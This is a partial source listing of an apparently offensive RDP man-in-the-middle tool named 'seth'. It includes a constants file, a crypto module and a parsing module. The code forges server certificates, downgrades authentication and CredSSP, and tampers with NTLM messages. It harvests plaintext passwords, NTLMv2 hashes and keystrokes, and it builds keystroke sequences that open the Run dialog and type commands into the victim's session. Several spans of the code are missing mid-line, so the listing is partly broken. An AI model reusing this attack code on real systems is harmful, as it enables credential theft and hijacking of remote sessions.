0x2009: b"English_Jamaica", 89 | 0x2409: b"English_Caribbean", 90 | 0x2809: b"English_Belize", 91 | 0x2c09: b"English_Trinidad", 92 | 0x3009: b"English_Zimbabwe", 93 | 0x3409: b"English_Philippines", 94 | 0x425: b"Estonian", 95 | 0x438: b"Faeroese", 96 | 0x429: b"Farsi", 97 | 0x040b: b"Finnish", 98 | 0x040c: b"French_Standard", 99 | 0x080c: b"French_Belgian", 100 | 0x0c0c: b"French_Canadian", 101 | 0x100c: b"French_Swiss", 102 | 0x140c: b"French_Luxembourg", 103 | 0x180c: b"French_Monaco", 104 | 0x437: b"Georgian", 105 | 0x407: b"German_Standard", 106 | 0x807: b"German_Swiss", 107 | 0x0c07: b"German_Austrian", 108 | 0x1007: b"German_Luxembourg", 109 | 0x1407: b"German_Liechtenstein", 110 | 0x408: b"Greek", 111 | 0x040d: b"Hebrew", 112 | 0x439: b"Hindi", 113 | 0x040e: b"Hungarian", 114 | 0x040f: b"Icelandic", 115 | 0x421: b"Indonesian", 116 | 0x410: b"Italian_Standard", 117 | 0x810: b"Italian_Swiss", 118 | 0x411: b"Japanese", 119 | 0x043f: b"Kazakh", 120 | 0x457: b"Konkani", 121 | 0x412: b"Korean", 122 | 0x426: b"Latvian", 123 | 0x427: b"Lithuanian", 124 | 0x042f: b"FYRO Macedonian", 125 | 0x043e: b"Malay_Malaysia", 126 | 0x083e: b"Malay_Brunei_Darussalam", 127 | 0x044e: b"Marathi", 128 | 0x414: b"Norwegian_Bokmal", 129 | 0x814: b"Norwegian_Nynorsk", 130 | 0x415: b"Polish", 131 | 0x416: b"Portuguese_Brazilian", 132 | 0x816: b"Portuguese_Standard", 133 | 0x418: b"Romanian", 134 | 0x419: b"Russian", 135 | 0x044f: b"Sanskrit", 136 | 0x081a: b"Serbian_Latin", 137 | 0x0c1a: b"Serbian_Cyrillic", 138 | 0x041b: b"Slovak", 139 | 0x424: b"Slovenian", 140 | 0x040a: b"Spanish_Traditional_Sort", 141 | 0x080a: b"Spanish_Mexican", 142 | 0x0c0a: b"Spanish_Modern_Sort", 143 | 0x100a: b"Spanish_Guatemala", 144 | 0x140a: b"Spanish_Costa_Rica", 145 | 0x180a: b"Spanish_Panama", 146 | 0x1c0a: b"Spanish_Dominican_Republic", 147 | 0x200a: b"Spanish_Venezuela", 148 | 0x240a: b"Spanish_Colombia", 149 | 0x280a: b"Spanish_Peru", 150 | 0x2c0a: b"Spanish_Argentina", 151 | 0x300a: b"Spanish_Ecuador", 152 | 0x340a: b"Spanish_Chile", 153 | 0x380a: b"Spanish_Uruguay", 154 | 0x3c0a: b"Spanish_Paraguay", 155 | 0x400a: b"Spanish_Bolivia", 156 | 0x440a: b"Spanish_El_Salvador", 157 | 0x480a: b"Spanish_Honduras", 158 | 0x4c0a: b"Spanish_Nicaragua", 159 | 0x500a: b"Spanish_Puerto_Rico", 160 | 0x441: b"Swahili", 161 | 0x041d: b"Swedish", 162 | 0x081d: b"Swedish_Finland", 163 | 0x449: b"Tamil", 164 | 0x444: b"Tatar", 165 | 0x041e: b"Thai", 166 | 0x041f: b"Turkish", 167 | 0x422: b"Ukrainian", 168 | 0x420: b"Urdu", 169 | 0x443: b"Uzbek_Latin", 170 | 0x843: b"Uzbek_Cyrillic", 171 | 0x042a: b"Vietnamese", 172 | } 173 | 174 | RELAY_PORT=13389 175 | 176 | SERVER_RESPONSES = [ 177 | "030000130ed00000123400020f080001000000", 178 | "0300007e02f0807f66740a0100020100301a020122020103020100020101020100020101020300fff80201020450000500147c00012a14760a01010001c0004d63446e3a010c1000040008000100000003000000030c1000eb030400ec03ed03ee03ef03020c0c000000000000000000040c0600f003080c080005030000", 179 | "0300000b02f0802e000008", 180 | "300da003020104a4060204c000005e", 181 | ] 182 | 183 | SERVER_RESPONSES = [unhexlify(x.encode()) for x in SERVER_RESPONSES] 184 | -------------------------------------------------------------------------------- /seth/crypto.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import hashlib 3 | import subprocess 4 | import re 5 | from binascii import hexlify, unhexlify 6 | 7 | from seth.args import args, hexdump 8 | from seth.consts import TERM_PRIV_KEY 9 | 10 | class RC4(object): 11 | def __init__(self, key): 12 | x = 0 13 | self.sbox = list(range(256)) 14 | for i in range(256): 15 | x = (x + self.sbox[i] + key[i % len(key)]) % 256 16 | self.sbox[i], self.sbox[x] = self.sbox[x], self.sbox[i] 17 | self.i = self.j = 0 18 | self.encrypted_packets = 0 19 | 20 | 21 | def decrypt(self, data): 22 | if self.encrypted_packets >= 4096: 23 | self.update_key() 24 | out = [] 25 | for char in data: 26 | self.i = (self.i + 1) % 256 27 | self.j = (self.j + self.sbox[self.i]) % 256 28 | self.sbox[self.i], self.sbox[self.j] = self.sbox[self.j], self.sbox[self.i] 29 | out.append(char ^ self.sbox[(self.sbox[self.i] + self.sbox[self.j]) % 256]) 30 | self.encrypted_packets += 1 31 | return bytes(bytearray(out)) 32 | 33 | 34 | def update_key(self): 35 | print("Updating session keys") 36 | pad1 = b"\x36"*40 37 | pad2 = b"\x5c"*48 38 | # TODO finish this 39 | 40 | 41 | def reencrypt_client_random(crypto, bytes): 42 | """Replace the original encrypted client random (encrypted with OUR 43 | public key) with the client random encrypted with the original public 44 | key""" 45 | 46 | reenc_client_rand = rsa_encrypt(crypto["client_rand"], 47 | crypto["pubkey"]) + b"\x00"*8 48 | result = bytes.replace(crypto["enc_client_rand"], 49 | reenc_client_rand) 50 | return result 51 | 52 | 53 | def generate_rsa_key(keysize): 54 | p = subprocess.Popen( 55 | ["openssl", "genrsa", str(keysize)], 56 | stdout=subprocess.PIPE, 57 | stderr=subprocess.DEVNULL 58 | ) 59 | key_pipe = subprocess.Popen( 60 | ["openssl", "rsa", "-noout", "-text"], 61 | stdin=p.stdout, 62 | stdout=subprocess.PIPE 63 | ) 64 | p.stdout.close() 65 | output = key_pipe.communicate()[0] 66 | 67 | # parse the text output 68 | key = None 69 | result = {} 70 | for line in output.split(b'\n'): 71 | field = line.split(b':')[:2] 72 | if len(field) == 2 and field[0] in [ 73 | b'modulus', 74 | b'privateExponent', 75 | b'publicExponent' 76 | ]: 77 | key = field[0].decode() 78 | result[key] = field[1] 79 | elif not line[:1] == b" ": 80 | key = None 81 | if line[:4] == b" "*4 and key in result: 82 | result[key] += line[4:] 83 | 84 | for f in ["modulus", "privateExponent"]: 85 | b = result[f].replace(b':', b'') 86 | b = unhexlify(b) 87 | result[f] = int.from_bytes(b, "big") 88 | 89 | m = re.match(b'.* ([0-9]+) ', result['publicExponent']) 90 | result['publicExponent'] = int(m.groups(1)[0]) 91 | return result 92 | 93 | 94 | def rsa_encrypt(bytes, key): 95 | r = int.from_bytes(bytes, "little") 96 | e = key["publicExponent"] 97 | n = key["modulus"] 98 | c = pow(r, e, n) 99 | return c.to_bytes(2048, "little").rstrip(b"\x00") 100 | 101 | 102 | def rsa_decrypt(bytes, key): 103 | s = int.from_bytes(bytes, "little") 104 | d = key["privateExponent"] 105 | n = key["modulus"] 106 | m = pow(s, d, n) 107 | return m.to_bytes(2048, "little").rstrip(b"\x00") 108 | 109 | 110 | def is_fast_path(bytes): 111 | if len(bytes) <= 1: return False 112 | return bytes[0] % 4 == 0 and bytes[1] in [len(bytes), 0x80] 113 | 114 | 115 | def decrypt(bytes, From="Client"): 116 | cleartext = b"" 117 | if is_fast_path(bytes): 118 | is_encrypted = (bytes[0] >> 7 == 1) 119 | has_opt_length = (bytes[1] >= 0x80) 120 | offset = 2 121 | if has_opt_length: 122 | offset += 1 123 | if is_encrypted: 124 | offset += 8 125 | cleartext = rc4_decrypt(bytes[offset:], From=From) 126 | else: # slow path 127 | offset = 13 128 | if len(bytes) <= 15: return bytes 129 | if bytes[offset] >= 0x80: offset += 1 130 | offset += 1 131 | security_flags = struct.unpack('": ".", 369 | "\"": "'", 370 | "|": "\\", 371 | "?": "/", 372 | "_": "-", 373 | "+": "=", 374 | } 375 | UP = 1 376 | DOWN = 0 377 | MOD = 2 378 | # For some reason, the meta (win) key needs an additional modifier (+2) 379 | result = [[consts.REV_SCANCODE["LMeta"], DOWN + MOD, .2], 380 | [consts.REV_SCANCODE["R"], DOWN, 0], 381 | [consts.REV_SCANCODE["R"], UP, 0.2], 382 | [consts.REV_SCANCODE["LMeta"], UP + MOD, .1], 383 | ] 384 | for c in string: 385 | if c in uppercase_letters: 386 | result.append([consts.REV_SCANCODE["LShift"], DOWN, 0.02]) 387 | result.append([consts.REV_SCANCODE[c], DOWN, 0]) 388 | result.append([consts.REV_SCANCODE[c], UP, 0]) 389 | result.append([consts.REV_SCANCODE["LShift"], UP, 0]) 390 | elif c in special_chars: 391 | c = special_chars[c] 392 | result.append([consts.REV_SCANCODE["LShift"], DOWN, 0.02]) 393 | result.append([consts.REV_SCANCODE[c], DOWN, 0]) 394 | result.append([consts.REV_SCANCODE[c], UP, 0]) 395 | result.append([consts.REV_SCANCODE["LShift"], UP, 0]) 396 | else: 397 | c = c.upper() 398 | result.append([consts.REV_SCANCODE[c], DOWN, 0]) 399 | result.append([consts.REV_SCANCODE[c], UP, 0]) 400 | result += [[consts.REV_SCANCODE["Enter"], DOWN, 0], 401 | [consts.REV_SCANCODE["Enter"], UP, 0], 402 | ] 403 | return result 404 | 405 | 406 | def run(): 407 | try: 408 | while True: 409 | lsock, rsock = open_sockets(args.target_port) 410 | RDPProxy(lsock, rsock).start() 411 | except KeyboardInterrupt: 412 | pass 413 | -------------------------------------------------------------------------------- /seth/parsing.py: -------------------------------------------------------------------------------- 1 | from binascii import hexlify, unhexlify 2 | 3 | import re 4 | import struct 5 | 6 | from seth.args import args, hexdump 7 | from seth.consts import SCANCODE, KBD_LAYOUT_CNTRY 8 | from seth.crypto import * 9 | 10 | def substr(s, offset, count): 11 | return s[offset:offset+count] 12 | 13 | 14 | def extract_ntlmv2(bytes, m): 15 | # References: 16 | # - [MS-NLMP].pdf 17 | # - https://www.root9b.com/sites/default/files/whitepapers/R9B_blog_003_whitepaper_01.pdf 18 | offset = len(m.group())//2 19 | keys = ["lmstruct", "ntstruct", "domain", "user", "workstation", 20 | "encryption_key"] 21 | fields = [bytes[offset+i*8:offset+(i+1)*8] for i in range(len(keys))] 22 | field_offsets = [struct.unpack('H', unhexlify(x))[0] 139 | for x in m.groups() 140 | ] 141 | offset = 37 142 | if domlen + userlen + pwlen < len(bytes): 143 | domain = substr(bytes, offset, domlen).decode("utf-16") 144 | if domain == "": 145 | domain = "." 146 | user = substr(bytes, offset+domlen+2, userlen).decode("utf-16") 147 | pw = substr(bytes, offset+domlen+2+userlen+2, pwlen).decode("utf-16") 148 | creds = b"%s\\%s:%s" % (domain.encode(), user.encode(), pw.encode()) 149 | return {"creds": creds} 150 | else: 151 | return {} 152 | 153 | 154 | def extract_keyboard_layout(bytes, m): 155 | length = struct.unpack(' 1 and key: 189 | result += extract_key_press( 190 | b"\x44%c%s" % (len(bytes)-2, bytes[2:-2]) 191 | ) + b"\n" 192 | elif len(bytes) == 2: 193 | event = bytes[0] 194 | key = bytes[1] 195 | key = translate_keycode(key) 196 | if event == 1 and key: 197 | result += b"Key release: %s\n" % key.encode() 198 | elif key: 199 | result += b"Key press: %s\n" % key.encode() 200 | else: 201 | event = bytes[-5] 202 | key = bytes[-4] 203 | key = translate_keycode(key) 204 | if event & 0x80 and key: 205 | result += b"Key release: %s\n" % key.encode() 206 | elif key: 207 | result += b"Key press: %s\n" % key.encode() 208 | return result[:-1] 209 | 210 | 211 | def replace_server_cert(bytes, crypto): 212 | old_sig = sign_certificate(crypto["first5fields"] + 213 | crypto["pubkey_blob"], 214 | len(crypto["sign"])) 215 | assert old_sig == crypto["sign"] 216 | key_len = len(crypto["modulus"])-8 217 | crypto["mykey"] = generate_rsa_key(key_len*8) 218 | new_modulus = crypto["mykey"]["modulus"].to_bytes(key_len + 8, "little") 219 | old_modulus = crypto["modulus"] 220 | result = bytes.replace(old_modulus, new_modulus) 221 | new_pubkey_blob = crypto["pubkey_blob"].replace(old_modulus, 222 | new_modulus) 223 | new_sig = sign_certificate(crypto["first5fields"] + new_pubkey_blob, 224 | len(crypto["sign"])) 225 | result = result.replace(crypto["sign"], new_sig) 226 | 227 | return result 228 | 229 | 230 | def parse_rdp(bytes, vars, From="Client"): 231 | result = {} 232 | if len(bytes) > 2: 233 | if bytes[:2] == b"\x03\x00": 234 | length = struct.unpack('>H', bytes[2:4])[0] 235 | result.update(parse_rdp_packet(bytes[:length], vars, From=From)) 236 | result.update(parse_rdp(bytes[length:], vars, From=From)) 237 | elif bytes[0] == 0x30: 238 | length = bytes[1] 239 | pad = 2 240 | if length >= 0x80: 241 | length_bytes = length - 0x80 242 | length = int.from_bytes(bytes[2:2+length_bytes], byteorder='big') 243 | pad = 2 + length_bytes 244 | result.update(parse_rdp_packet(bytes[:length+pad], vars, From=From)) 245 | result.update(parse_rdp(bytes[length+pad:], vars, From=From)) 246 | elif bytes[0] % 4 == 0: #fastpath 247 | length = bytes[1] 248 | if length >= 0x80: 249 | length = struct.unpack('>H', bytes[1:3])[0] 250 | length -= 0x80*0x100 251 | result.update(parse_rdp_packet(bytes[:length], vars, From=From)) 252 | result.update(parse_rdp(bytes[length:], vars, From=From)) 253 | return result 254 | 255 | 256 | def parse_rdp_packet(bytes, vars=None, From="Client"): 257 | 258 | if len(bytes) < 4: return b"" 259 | 260 | if "crypto" in vars and sym_encryption_enabled(vars["crypto"]): 261 | bytes = decrypt(bytes, From=From) 262 | 263 | result = {} 264 | # hexlify first because \x0a is a line break and regex works on single 265 | # lines 266 | 267 | # get creds if standard rdp security 268 | regex = b".*0{8}3b010000(.{4})(.{4})(.{4})0{8}" 269 | m = re.match(regex, hexlify(bytes)) 270 | if m: 271 | try: 272 | result.update(extract_credentials(bytes, m, standard_rdp_sec=True)) 273 | except: 274 | pass 275 | 276 | 277 | # get creds otherwise 278 | # "0x0040 MUST be present" 279 | regex = b".{30}40.{20}(.{4})(.{4})(.{4})" 280 | m = re.match(regex, hexlify(bytes)) 281 | if m: 282 | try: 283 | result.update(extract_credentials(bytes, m)) 284 | except: 285 | pass 286 | 287 | 288 | regex = b".*%s0002000000" % hexlify(b"NTLMSSP") 289 | m = re.match(regex, hexlify(bytes)) 290 | if m: 291 | result.update(extract_server_challenge(bytes, m)) 292 | 293 | regex = b".*%s0003000000" % hexlify(b"NTLMSSP") 294 | m = re.match(regex, hexlify(bytes)) 295 | if m: 296 | result.update(extract_ntlmv2(bytes, m)) 297 | 298 | if "crypto" in vars and "client_rand" in vars["crypto"]: 299 | regex = b".{14,}01.*0{16}" 300 | m = re.match(regex, hexlify(bytes)) 301 | if m and vars["crypto"]["client_rand"] == b"": 302 | client_rand = extract_client_random(bytes, vars["crypto"]) 303 | result.update(client_rand) 304 | 305 | regex = b".*020c.*%s" % hexlify(b"RSA1") 306 | m = re.match(regex, hexlify(bytes)) 307 | if m: 308 | result.update(extract_server_cert(bytes)) 309 | 310 | regex = b".*0d00(.{4}).{164}0000" 311 | m = re.match(regex, hexlify(bytes)) 312 | if m and From == "Client": 313 | # A parsing error here shouldn't be a show stopper, so catch exceptions 314 | try: 315 | result.update(extract_keyboard_layout(bytes, m)) 316 | except: 317 | print("Failed to extract keyboard layout information") 318 | 319 | regex = b"0300.*0400.{12}$" 320 | m = re.match(regex, hexlify(bytes)) 321 | if result == {} and ( # TODO: ~bytes[-3] & 1 (2.2.8.1.2.2.1) 322 | len(bytes)>3 and len(bytes) <= 8 and bytes[-2] in [0,1] or 323 | m 324 | ): 325 | keypress = extract_key_press(bytes) 326 | if keypress: 327 | print("\033[31m%s\033[0m" % keypress.decode()) 328 | 329 | # keyboard events in standard rdp 330 | regex = b"^0[01]..$" 331 | m = re.match(regex, hexlify(bytes)) 332 | if result == {} and m: 333 | keypress = extract_key_press(bytes) 334 | if keypress: 335 | print("\033[31m%s\033[0m" % keypress.decode()) 336 | 337 | return result 338 | 339 | 340 | def tamper_data(bytes, vars, From="Client"): 341 | result = bytes 342 | 343 | if "crypto" in vars and "client_rand" in vars["crypto"]: 344 | regex = b".{14,}01.*0{16}" 345 | m = re.match(regex, hexlify(bytes)) 346 | if m and not vars["crypto"]["client_rand"] == b"": 347 | result = reencrypt_client_random(vars["crypto"], bytes) 348 | 349 | regex = b".*020c.*%s" % hexlify(b"RSA1") 350 | m = re.match(regex, hexlify(bytes)) 351 | if m: 352 | result = replace_server_cert(bytes, vars["crypto"]) 353 | 354 | regex = b".*%s..010c" % hexlify(b"McDn") 355 | m = re.match(regex, hexlify(bytes)) 356 | if m: 357 | result = set_fake_requested_protocol(bytes, m, vars["RDP_PROTOCOL_OLD"]) 358 | 359 | 360 | if "nt_response" in vars: 361 | regex = b".*%s0003000000.*%s" % ( 362 | hexlify(b"NTLMSSP"), 363 | hexlify(vars["nt_response"]) 364 | ) 365 | m = re.match(regex, hexlify(bytes)) 366 | if m and vars["RDP_PROTOCOL"] > 2: 367 | result = tamper_nt_response(bytes, vars) 368 | 369 | if (From == "Server" and "server_challenge" in vars): 370 | regex = b"30..a0.*6d" 371 | m = re.match(regex, hexlify(bytes)) 372 | if m: 373 | print("Downgrading CredSSP") 374 | result = unhexlify(b"300da003020104a4060204c000005e") 375 | 376 | 377 | if not result == bytes and args.debug: 378 | dump_data(result, From=From, Modified=True) 379 | 380 | return result 381 | 382 | 383 | def tamper_nt_response(data, vars): 384 | """The connection is sometimes terminated if NTLM is successful, this prevents that""" 385 | print("Tamper with NTLM response") 386 | nt_response = vars["nt_response"] 387 | fake_response = bytes([(nt_response[0] + 1 ) % 0xFF]) + nt_response[1:] 388 | return data.replace(nt_response, fake_response) 389 | 390 | 391 | def set_fake_requested_protocol(data, m, rdp_protocol): 392 | print("Hiding forged protocol request from client") 393 | offset = len(m.group())//2 394 | result = data[:offset+6] + bytes([rdp_protocol]) + data[offset+7:] 395 | return result 396 | 397 | 398 | def downgrade_auth(bytes): 399 | # regex = b".*..00..00.{8}$" # TODO regex necessary? if not, remove 400 | # m = re.match(regex, hexlify(bytes)) 401 | # Flags: 402 | # 0: standard rdp security 403 | # 1: TLS 404 | # 2: CredSSP (NTLMv2 or Kerberos) 405 | # 8: Early User Authorization 406 | # if m and RDP_PROTOCOL > args.downgrade: # TODO see above 407 | RDP_PROTOCOL = bytes[-4] 408 | if RDP_PROTOCOL > args.downgrade: 409 | print("Downgrading authentication options from %d to %d" % 410 | (RDP_PROTOCOL, args.downgrade)) 411 | RDP_PROTOCOL = args.downgrade 412 | result = ( 413 | bytes[:-7] + 414 | b"\x00\x08\x00" + 415 | chr(RDP_PROTOCOL).encode() + 416 | b"\x00\x00\x00" 417 | ) 418 | dump_data(result, From="Client", Modified=True) 419 | return result 420 | return bytes 421 | 422 | 423 | def dump_data(data, From=None, Modified=False): 424 | if args.debug: 425 | modified = "" 426 | if Modified: 427 | modified = " (modified)" 428 | if From == "Server": 429 | print("From server:"+modified) 430 | elif From == "Client": 431 | print("From client:"+modified) 432 | 433 | hexdump(data) 434 | 435 | 436 | def print_var(k, vars): 437 | if k == "hash_wo_server_challenge": 438 | result = (vars[k] % hexlify(vars["server_challenge"])) 439 | elif k == "creds": 440 | result = vars[k] 441 | # elif k == "server_challenge": 442 | # result = b"Server Challenge: %s" % hexlify(vars[k]) 443 | elif k == "keyboard_layout": 444 | try: 445 | result = b"Keyboard Layout: 0x%x (%s)" % (vars[k], 446 | KBD_LAYOUT_CNTRY[vars[k]]) 447 | except KeyError: 448 | result = b"Keyboard Layout not recognized" 449 | else: 450 | try: 451 | result = b"%s: %s" % (k.encode(), str(vars[k]).encode) 452 | except: 453 | result = b"" 454 | if result: 455 | print("\033[31m%s\033[0m" % result.decode()) 456 | 457 | --------------------------------------------------------------------------------